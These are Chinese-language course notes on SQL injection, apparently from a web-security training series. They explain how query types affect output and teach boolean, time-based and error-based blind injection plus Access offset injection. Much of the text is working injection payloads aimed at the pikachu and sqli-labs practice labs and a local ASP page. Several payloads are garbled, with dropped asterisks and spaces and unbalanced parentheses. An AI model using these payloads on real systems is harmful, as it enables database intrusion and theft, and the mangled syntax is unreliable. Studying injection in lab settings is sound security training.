

# Day16 WEB漏洞-SQL注入之查询方式及报错盲注

当进行SQL注入时，有很多注入会出现无回显的情况，其中不回显的原因可能是SQL语句查询方式的问题导致，这个时候我们需要用到相关的报错或盲注进行后续操作，同时作为手工注入时，提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

## 16.1 查询方式

### 16.1.1 select查询数据（可能回显可能不回显）



- 1 在网站应用中进行数据显示查询操作
- 2 例： `select * from news where id=$id`

### 16.1.2 insert插入数据（不回显）



- 1 在网站应用中进行用户注册添加等操作
- 2 例： `insert into news (id, url, text) values (2, 'x', '$t')`

### 16.1.3 delete删除数据（不回显）



- 1 后台管理里面删除文章删除用户等操作
- 2 例： `delete from news where id=$id`

#### 16.1.4 update更新数据（不回显）



- 1 会员或后台中心数据同步或缓存等操作
- 2 例: `update user set pwd='$p' where id=2 and username= 'admin'`

#### 16.1.5 order by排序数据（可能回显可能不回显）



- 1 一般结合表名或列名进行数据排序操作
- 2 例: `select * from news order by $id`
- 3 例: `select id, name, price from news order by $order`

#### 重点理解:

- 我们可以通过以上查询方式与网站应用的关系，注入点产生地方或应用猜测到对方的SQL查询方式

**Payload:**



```
1 pikachu insert
2
3 username=x' or (select 1 from(select
  count(*),concat((select(select(selectconcat(0x7e
    ,database()),0x7e)))
4 from information_schema.tables limit
  0,1),floor(rand(0)*2))x from
  information_schema.tables group by x)a) or '
  &password=xiaodi&sex=%E7%94%B7&phonenum=13878787
  788&email=wuhan&add=hubei&submit=sub
5 mit
6
7 username=x' or updatexml(1,concat(0x7e,
  (version()))),0) or
  '&password=xiaodi&sex=%E7%94%B7&phonenum=1387878
  788&email=wuhan&add=hubei&submit=su
8 bmit
9
10 username=x' or
  extractvalue(1,concat(0x7e,database())) or
11 '&password=xiaodi&sex=%E7%94%B7&phonenum=1387878
  788&email=wuhan&add=hubei&submit=su
12 bmit
```



```
1 pikachu update
2
3 sex=%E7%94%B7&phonenum=13878787788&add=hubenicky
  ' or (select 1 from(select
4 count(*),concat( floor(rand(0)*2),0x7e,
  (database()),0x7e)x from
  information_schema.character_sets
5 group by x)a) or '&email=wuhan&submit=submit
6
7 sex=%E7%94%B7&phonenum=13878787788&add=hubenicky
  ' or
8 updatexml(1,concat(0x7e,(version()))),0) or
  '&email=wuhan&submit=submit
9
10 sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or
  extractvalue(1,concat(0x7e,database())) or
11 '&email=wuhan&submit=submit
```

```
1 pikachu delete
2
3 /pikachu/vul/sqli/sqli_del.php?id=56+or+
  (select+1+from(select+count(*),concat(floor(rand(
  0)*2),0x7e,(da
4 tabase()),0x7e)x+from+information_schema.characte
  r_sets+group+by+x)a)
5
6 pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+
  (1,concat(0x7e,database()),0)
7
8 /pikachu/vul/sqli/sqli_del.php?
  id=56+or+extractvalue(1,concat(0x7e,database()))
9
```

## 16.2 盲注

盲注就是在注入过程中，获取的数据不能回显至前端页面。此时，我们需要利用一些方法进行判断 或者尝试，这个过程称之为盲注，盲注分为以下三类。

### 16.2.1 布尔盲注-逻辑判断

- regexp,like,ascii,left,ord,mid



```
1 参考:
2  like 'ro%' #判断 ro 或 ro...是否成立
3  regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
4  if(条件,5,0) #条件成立 返回 5 反之 返回 0
5  sleep(5) #SQL 语句延时执行 5 秒
6  mid(a,b,c) #从位置 b 开始, 截取 a 字符串的 c 位
7  substr(a,b,c) #从 b 位置开始, 截取字符串 a 的 c 长度
8  left(database(),1), database() #left(a,b)从左侧截
   取 a 的前 b 位
9  length(database())=8 #判断数据库 database()名的长度
10 ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于
    97
```

## 16.2.2 延时盲注—延时判断

- if,sleep



- 1 延时盲注：利用 `and` 链接正确语句，让`if`判断脚本对错，两个联合起来再通过时间来给出反馈，判断脚本是否执行正确。
- 2 `and`  
`if(ascii(substr(database(),1,1))=115,sleep(5),1)-`  
`--+`
- 3 `and if(ascii(substr((select table_name from`  
`information_schema.tables where`  
`table_schema=database()`  
`limit 0,1),1,1))=101,sleep`
- 5 例子：
- 6 数据库是`security`就延时5秒，否则不延迟
- 7 `http://sqli-labs:8600/Less-2/?id=1 and`  
`sleep(if(database()='security',5,0))--+`
- 8 判断数据库位数
- 9 `http://sqli-labs:8600/Less-2/?`  
`id=1%20and%20sleep(if(length(database())=8,5,0))-`  
`--+`

### 16.2.3 报错盲注—报错回显

- `floor`, `updatexml`, `extractvalue`
- 链接：<https://www.jianshu.com/p/bc35f8dd4f7c>



- 1 通过`floor`报错，注入语句如下：
- 2 `and select 1 from (select`  
`count(),concat(version(),floor(rand(0)2))x from`  
`information_schema.tables group by x)a);`
- 3
- 4 通过`ExtractValue`报错，注入语句如下：

```
5 and extractvalue(1, concat(0x5c, (select  
table_name from information_schema.tables limit  
1)))
```

6

7 通过UpdateXml报错,注入语句如下:

```
8 and 1=(updatexml(1,concat(0x3a,(select  
user()))),1))
```

9

10 通过NAME\_CONST报错,注入语句如下:

```
11 and exists(selectfrom  
(selectfrom(selectname_const(@@version,0))a join  
(select name_const(@@version,0))b)c)
```

12

13 通过join报错,注入语句如下:

```
14 select * from(select * from mysql.user ajoin  
mysql.user b)c;
```

15

16 通过exp报错,注入语句如下:

```
17 and exp(~(select * from (select user () ) a ) );
```

18

19 通过GeometryCollection()报错,注入语句如下:

```
20 and GeometryCollection()(select *from(select  
user () )a)b );
```

21

22 通过polygon ()报错,注入语句如下:

```
23 and polygon (()select * from(select user ())a)b  
);
```

24

25 通过multipoint ()报错,注入语句如下:

```
26 and multipoint (()select * from(select user()  
)a)b );
```

27



```
28 通过multlinestring ()报错,注入语句如下:
29 and multlinestring (())select * from(selectuser
   () )a)b );
30
31 通过multpolygon ()报错,注入语句如下:
32 and multpolygon (())select * from(selectuser ()
   )a)b );
33
34 通过linestring ()报错,注入语句如下:
35 and linestring (())select * from(select user()
   )a)b );
```


## 补充:

access偏移注入:解决列名获取不到的情况(偏移注入适用于知道表名,但不知道列名的时候。)

- 1 Access偏移注入原理,基本公式为:
- 2 order by出的字段数减去\*号的字段数(假设\*为6),然而再用
- order by的字段数减去2倍刚才得出来的答案;也就是:
- 3 \*= 6个字符
- 4 2 x \*=12个字符
- 5 22- 12 = 10个字符
- 6
- 7 步骤:
- 8 首先是order by 查询字段数
- 9 再select 1,2,4,5,6,7,8,9,10,11,12,13,14,15,16,
- \*from admin 查询字段数
- 10 Select \* from admin as A JOIN admin as B ON
- A.Aid=B.Aid 内连接查询,查询A表和B表id一样的数据的数据,因为A和B其实是一张表,就是命名不一样了,所以这个字段数是表的字段数的2倍(对应4)

```
11 一级偏移语句:
12 127.0.0.1/asp/index.asp?id=1513 union select
   1,2,3,4,5,6,7,8,9,10,* from (admin as a inner
   join admin as b on a.id = b.id)
13 二级偏移语句:
14 127.0.0.1/asp/index.asp?id=1513 union select
   1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner
   join admin as b on a.id = b.id)inner join admin
   as c on a.id=c.id)
```

资源:



```
1 https://www.jianshu.com/p/bc35f8dd4f7c
2 https://www.jianshu.com/p/fcae21926e5c(order by注入)
```